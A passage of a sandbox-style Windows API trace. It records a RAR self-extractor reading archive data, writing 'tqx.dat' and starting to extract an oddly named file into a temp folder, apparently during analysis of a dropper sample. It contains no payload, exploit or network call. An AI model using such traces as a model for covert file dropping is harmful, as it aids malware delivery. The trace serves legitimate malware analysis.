wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.893] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.893] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.893] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.893] GetTickCount () returned 0x1f97a [0067.893] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.894] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.894] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.894] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.894] GetTickCount () returned 0x1f98a [0067.894] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.894] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.894] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.894] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.894] GetTickCount () returned 0x1f98a [0067.894] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.894] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.894] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.894] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.894] GetTickCount () returned 0x1f98a [0067.894] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.894] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.894] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.894] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.894] GetTickCount () returned 0x1f98a [0067.894] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.894] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.894] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.894] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.894] GetTickCount () returned 0x1f98a [0067.894] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.894] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.894] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.895] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.895] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.895] GetTickCount () returned 0x1f98a [0067.895] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.895] ReadFile (in: hFile=0x1c, lpBuffer=0x27138c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27138c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.896] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.896] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.896] GetTickCount () returned 0x1f98a [0067.896] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.896] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x8a5a9, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x8a5a9, lpOverlapped=0x0) returned 1 [0067.903] GetTickCount () returned 0x1f98a [0067.903] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.903] SetFilePointer (in: hFile=0x1c, lDistanceToMove=467689, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0x722e9 [0067.903] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.903] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.903] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.903] CloseHandle (hObject=0x138) returned 1 [0067.908] SetFileAttributesA (lpFileName="tqx.dat", dwFileAttributes=0x20) returned 1 [0067.909] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0x722e9 [0067.909] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.909] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.909] OemToCharA (in: pSrc="muu=ksm", pDst=0x179cc0 | out: pDst="muu=ksm") returned 1 [0067.909] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="muu=ksm", cchCount2=1) returned 1 [0067.909] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="muu=ksm", cchCount2=6) returned 1 [0067.909] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="muu=ksm", cchCount2=-1) returned 1 [0067.909] SetFilePointer (in: hFile=0x1c, lDistanceToMove=467733, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0x72315 [0067.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="muu=ksm") returned 8 [0067.909] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.909] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting muu=ksm") returned 18 [0067.909] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting muu=ksm") returned 1 [0067.909] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0067.909] OemToCharBuffA (in: lpszSrc="m", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="m") returned 1 [0067.909] CharToOemBuffA (in: lpszSrc="M", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="M") returned 1 [0067.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="muu=ksm") returned 8 [0067.909] FindFirstFileW (in: lpFileName="muu=ksm", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.909] GetLastError () returned 0x2 [0067.909] GetFileAttributesA (lpFileName="muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm")) returned 0xffffffff [0067.910] CreateFileA (lpFileName="muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.910] GetFileType (hFile=0x138) returned 0x1 [0067.910] SetFilePointer (in: hFile=0x138, lDistanceToMove=186007, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x2d697 [0067.910] SetEndOfFile (hFile=0x138) returned 1 [0067.910] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.910] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0xb49, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0xb49, lpOverlapped=0x0) returned 1 [0067.910] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.910] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.910] GetTickCount () returned 0x1f99a [0067.910] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.910] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.910] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.910] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.910] GetTickCount () returned 0x1f99a [0067.910] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.910] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.910] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.910] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.910] GetTickCount () returned 0x1f99a [0067.910] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.910] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.910] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.910] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 